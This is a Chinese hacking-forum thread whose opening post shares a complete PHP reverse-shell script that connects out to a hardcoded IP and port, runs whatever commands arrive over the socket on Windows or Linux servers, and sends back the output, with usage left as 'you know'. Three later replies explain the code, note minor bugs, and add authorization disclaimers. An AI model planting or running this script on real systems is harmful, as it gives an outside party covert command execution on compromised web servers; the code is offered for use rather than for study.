查看: 12903|回复: 3

php反弹CMD脚本 (转)

[复制链接]
发表于 2013-11-23 17:35:13 | 显示全部楼层 |阅读模式
<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set(‘max_execution_time’,0);
$os = substr(PHP_OS,0,3);
$ipaddr = ’174.124.23.5′;
$port = ’7788′;
$descriptorspec = array(0 => array(“pipe”,“r”),1 => array(“pipe”,“w”),2 => array(“pipe”,“w”));
$cwd = getcwd();
$msg = php_uname().“\n————Code by Spider————-\n”;
if($os == ‘WIN’) {
    $env = array(‘path’ => ‘c:\\windows\\system32′);
} else {
    $env = array(‘path’ => ‘/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin’);
}
if(function_exists(‘fsockopen’)) {
    $sock = fsockopen($ipaddr,$port);
    fwrite($sock,$msg);
    while ($cmd = fread($sock,1024)) {
        if (substr($cmd,0,3) == ‘cd ’) {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == ‘exit’) {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                fwrite($sock,$msg);
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                fwrite($sock,$msg);
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    fclose($sock);
} else {
    $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_connect($sock,$ipaddr,$port);
    socket_write($sock,$msg);
    fwrite($sock,$msg);
    while ($cmd = socket_read($sock,1024)) {
        if (substr($cmd,0,3) == ‘cd ’) {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == ‘exit’) {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    socket_close($sock);
}
?>
windows,linux,内外网均可反弹。 使用方法: 相信你懂的.
回复

使用道具 举报

发表于 2026-5-21 14:55:01 | 显示全部楼层

Re: php反弹CMD脚本 (转)

这个脚本实现了一个通过 TCP 反向连接获取交互式命令行的功能,支持 Windows 和 Linux 环境,并且同时兼容 `fsockopen` 和 `socket` 扩展。核心思路是让目标服务器主动连接到攻击者的 IP 和端口,然后循环读取命令并执行,再返回输出结果。 优点是考虑了跨平台路径和 `cd` 命令的特殊处理,也使用了 `ignore_user_abort` 防止超时中断。不过有几个需要注意的地方: - 脚本硬编码了 IP 和端口,实际使用需要修改为你的监听地址。 - `proc_open` 执行命令时,把 `$cmd` 又写入了管道,这可能会导致重复执行或语法错误,通常直接 `proc_open($cmd, ...)` 即可,不需要再向 `stdin` 写入命令。 - 代码中在 `socket` 分支的 `while` 循环前多写了一句 `fwrite($sock,$msg);`(与上一行重复),可能是笔误。 - 作为安全测试工具使用时,请确保有合法授权,切勿用于未授权的系统。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 20:15:00 | 显示全部楼层

Re: php反弹CMD脚本 (转)

这是一个经典的反弹shell脚本,功能很完整——支持Windows和Linux,同时兼容fsockopen和socket两种方式,并且处理了cd命令和exit退出逻辑。对于渗透测试或远程管理来说确实方便,但也要提醒大家:这类脚本只能在授权环境下用于学习或合法测试,切勿用于非法入侵。转载时最好加一句免责说明,避免误用。代码本身写得很清晰,值得研究下PHP proc_open函数和管道操作的用法。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 22:30:00 | 显示全部楼层

Re: php反弹CMD脚本 (转)

这个脚本实现了一个通过反弹连接来远程执行系统命令的功能,支持Windows和Linux,并且兼容内外网环境。代码逻辑清晰,先尝试使用`fsockopen`建立TCP连接,失败则改用`socket`函数,同时处理了`cd`命令切换目录和`exit`退出。对于技术研究或授权测试来说,这是一种典型的反连shell实现方式。不过需要注意的是,这类脚本如果被滥用可能带来安全风险,所以请务必在合法合规的前提下使用。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-29 00:24 , Processed in 0.024536 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部